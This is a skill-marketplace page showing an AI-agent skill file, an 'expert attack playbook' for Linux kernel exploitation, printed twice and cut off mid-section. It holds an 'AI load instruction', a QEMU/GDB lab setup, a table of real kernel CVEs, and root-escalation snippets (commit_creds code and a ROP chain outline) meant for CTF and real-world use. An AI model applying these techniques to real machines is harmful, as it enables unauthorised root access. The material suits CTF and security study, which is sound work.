kernel-exploitation

Name: kernel-exploitation
Author: Prohao42

91stars8forks

How to install kernel-exploitation?

prohao42/aimy-skill/kernel-exploitation

$npx -y skills add Prohao42/aimy-skill --skill kernel-exploitation

Installs into the current project.

Summary

Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Linux Kernel Exploitation — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
4
5	## 0. RELATED ROUTING
6
7	- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — userspace protections (NX, ASLR) also apply in kernel context
8	- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — kernel ROP reuses many userspace ROP concepts
9	- [heap-exploitation](../heap-exploitation/SKILL.md) — kernel SLUB is conceptually related to userspace heap
10	- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — non-exploit kernel privesc techniques
11
12	### Advanced References
13
14	- [KERNEL_MITIGATION_BYPASS.md](./KERNEL_MITIGATION_BYPASS.md) — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
15	- [KERNEL_HEAP_TECHNIQUES.md](./KERNEL_HEAP_TECHNIQUES.md) — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation
16
17	---
18
19	## 1. EXPLOITATION MODEL
20
21	```
22	┌─────────────────────────────────────────────────────┐
23	│ 1. Find Vulnerability │
24	│ (UAF, OOB, race, integer overflow, type confusion)│
25	├─────────────────────────────────────────────────────┤
26	│ 2. Build Primitive │
27	│ (arbitrary read, arbitrary write, controlled RIP)│
28	├─────────────────────────────────────────────────────┤
29	│ 3. Bypass Mitigations │
30	│ (KASLR, SMEP, SMAP, KPTI) │
31	├─────────────────────────────────────────────────────┤
32	│ 4. Escalate Privileges │
33	│ (commit_creds, modprobe_path, namespace escape) │
34	├─────────────────────────────────────────────────────┤
35	│ 5. Return to Userspace Cleanly │
36	│ (KPTI trampoline, iretq/sysretq, swapgs) │
37	└─────────────────────────────────────────────────────┘
38	```
39
40	---
41
42	## 2. ENVIRONMENT SETUP
43
44	### QEMU + Custom Kernel
45
46	```bash
47	# Download and compile kernel
48	wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
49	tar xf linux-6.1.tar.xz && cd linux-6.1
50	make defconfig
51	# Disable mitigations for easier debugging:
52	scripts/config --disable RANDOMIZE_BASE # KASLR
53	scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
54	scripts/config --enable DEBUG_INFO
55	make -j$(nproc)
56
57	# Boot with QEMU
58	qemu-system-x86_64 \
59	-kernel bzImage \
60	-initrd rootfs.cpio.gz \
61	-append "console=ttyS0 nokaslr quiet" \
62	-nographic \
63	-s -S \ # GDB server on :1234, pause at start
64	-monitor /dev/null \
65	-m 256M \
66	-cpu kvm64,+smep,+smap
67	```
68
69	### GDB Debugging
70
71	```bash
72	gdb vmlinux
73	target remote :1234
74	# Load kernel symbols
75	add-symbol-file vmlinux 0xffffffff81000000 # typical .text base
76	# Breakpoints
77	b commit_creds
78	b *0xffffffff81234567
79	# pwndbg/GEF work with kernel debugging
80	```
81
82	### initramfs Modification
83
84	```bash
85	mkdir rootfs && cd rootfs
86	cpio -idmv < ../rootfs.cpio.gz
87	# Edit init script, add exploit binary
88	cp /path/to/exploit ./
89	# Repack
90	find . \| cpio -o --format=newc \| gzip > ../rootfs.cpio.gz
91	```
92
93	---
94
95	## 3. COMMON VULNERABILITY TYPES
96
97	\| Type \| Description \| Kernel Example \|
98	\|---\|---\|---\|
99	\| UAF \| Object freed but pointer still accessible \| CVE-2022-0847 (DirtyPipe) \|
100	\| OOB Read/Write \| Array index or size check missing \| CVE-2021-22555 (Netfilter) \|
101	\| Race Condition \| TOCTOU between check and use \| CVE-2016-5195 (DirtyCow) \|
102	\| Integer Overflow \| Size calculation wraps around \| Various ioctl handlers \|
103	\| Type Confusion \| Object cast to wrong type \| CVE-2023-0179 (Netfilter) \|
104	\| Double Free \| Object freed twice \| SLUB allocator exploitation \|
105	\| Stack Overflow \| Kernel stack buffer overflow \| Rare (kernel stack is small: 8KB–16KB) \|
106
107	---
108
109	## 4. PRIVILEGE ESCALATION TARGETS
110
111	### Method 1: commit_creds(prepare_kernel_cred(0))
112
113	```c
114	// Kernel function that sets current process credentials to root
115	void (commit_creds)(void ) = COMMIT_CREDS_ADDR;
116	void (prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
117	commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
118	```
119
120	Kernel ROP chain equivalent:
121	```
122	pop rdi; ret
123	0 # NULL → prepare_kernel_cred(NULL) = init_cred
124	prepare_kernel_cred addr
125	mov rdi, rax; ... ; ret # or pop rdi + known location
126	commit_creds addr
127	kpti_trampoline / swapgs+iretq # return to userspace
128	```
129
130	### Method 2: modprobe_path Overwrite
131
132	```c
133	// modprobe_path = "/sbin/modprobe" in kernel .data
134	// Overwrite

People who liked this also viewed

6 picks

Type

kernel-exploitation

91stars8forks

View on GitHub

How to install kernel-exploitation?

prohao42/aimy-skill/kernel-exploitation

$npx -y skills add Prohao42/aimy-skill --skill kernel-exploitation

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Linux Kernel Exploitation — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
4
5	## 0. RELATED ROUTING
6
7	- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — userspace protections (NX, ASLR) also apply in kernel context
8	- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — kernel ROP reuses many userspace ROP concepts
9	- [heap-exploitation](../heap-exploitation/SKILL.md) — kernel SLUB is conceptually related to userspace heap
10	- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — non-exploit kernel privesc techniques
11
12	### Advanced References
13
14	- [KERNEL_MITIGATION_BYPASS.md](./KERNEL_MITIGATION_BYPASS.md) — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
15	- [KERNEL_HEAP_TECHNIQUES.md](./KERNEL_HEAP_TECHNIQUES.md) — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation
16
17	---
18
19	## 1. EXPLOITATION MODEL
20
21	```
22	┌─────────────────────────────────────────────────────┐
23	│ 1. Find Vulnerability │
24	│ (UAF, OOB, race, integer overflow, type confusion)│
25	├─────────────────────────────────────────────────────┤
26	│ 2. Build Primitive │
27	│ (arbitrary read, arbitrary write, controlled RIP)│
28	├─────────────────────────────────────────────────────┤
29	│ 3. Bypass Mitigations │
30	│ (KASLR, SMEP, SMAP, KPTI) │
31	├─────────────────────────────────────────────────────┤
32	│ 4. Escalate Privileges │
33	│ (commit_creds, modprobe_path, namespace escape) │
34	├─────────────────────────────────────────────────────┤
35	│ 5. Return to Userspace Cleanly │
36	│ (KPTI trampoline, iretq/sysretq, swapgs) │
37	└─────────────────────────────────────────────────────┘
38	```
39
40	---
41
42	## 2. ENVIRONMENT SETUP
43
44	### QEMU + Custom Kernel
45
46	```bash
47	# Download and compile kernel
48	wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
49	tar xf linux-6.1.tar.xz && cd linux-6.1
50	make defconfig
51	# Disable mitigations for easier debugging:
52	scripts/config --disable RANDOMIZE_BASE # KASLR
53	scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
54	scripts/config --enable DEBUG_INFO
55	make -j$(nproc)
56
57	# Boot with QEMU
58	qemu-system-x86_64 \
59	-kernel bzImage \
60	-initrd rootfs.cpio.gz \
61	-append "console=ttyS0 nokaslr quiet" \
62	-nographic \
63	-s -S \ # GDB server on :1234, pause at start
64	-monitor /dev/null \
65	-m 256M \
66	-cpu kvm64,+smep,+smap
67	```
68
69	### GDB Debugging
70
71	```bash
72	gdb vmlinux
73	target remote :1234
74	# Load kernel symbols
75	add-symbol-file vmlinux 0xffffffff81000000 # typical .text base
76	# Breakpoints
77	b commit_creds
78	b *0xffffffff81234567
79	# pwndbg/GEF work with kernel debugging
80	```
81
82	### initramfs Modification
83
84	```bash
85	mkdir rootfs && cd rootfs
86	cpio -idmv < ../rootfs.cpio.gz
87	# Edit init script, add exploit binary
88	cp /path/to/exploit ./
89	# Repack
90	find . \| cpio -o --format=newc \| gzip > ../rootfs.cpio.gz
91	```
92
93	---
94
95	## 3. COMMON VULNERABILITY TYPES
96
97	\| Type \| Description \| Kernel Example \|
98	\|---\|---\|---\|
99	\| UAF \| Object freed but pointer still accessible \| CVE-2022-0847 (DirtyPipe) \|
100	\| OOB Read/Write \| Array index or size check missing \| CVE-2021-22555 (Netfilter) \|
101	\| Race Condition \| TOCTOU between check and use \| CVE-2016-5195 (DirtyCow) \|
102	\| Integer Overflow \| Size calculation wraps around \| Various ioctl handlers \|
103	\| Type Confusion \| Object cast to wrong type \| CVE-2023-0179 (Netfilter) \|
104	\| Double Free \| Object freed twice \| SLUB allocator exploitation \|
105	\| Stack Overflow \| Kernel stack buffer overflow \| Rare (kernel stack is small: 8KB–16KB) \|
106
107	---
108
109	## 4. PRIVILEGE ESCALATION TARGETS
110
111	### Method 1: commit_creds(prepare_kernel_cred(0))
112
113	```c
114	// Kernel function that sets current process credentials to root
115	void (commit_creds)(void ) = COMMIT_CREDS_ADDR;
116	void (prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
117	commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
118	```
119
120	Kernel ROP chain equivalent:
121	```
122	pop rdi; ret
123	0 # NULL → prepare_kernel_cred(NULL) = init_cred
124	prepare_kernel_cred addr
125	mov rdi, rax; ... ; ret # or pop rdi + known location
126	commit_creds addr
127	kpti_trampoline / swapgs+iretq # return to userspace
128	```
129
130	### Method 2: modprobe_path Overwrite
131
132	```c
133	// modprobe_path = "/sbin/modprobe" in kernel .data
134	// Overwrite

People who liked this also viewed

6 picks

Type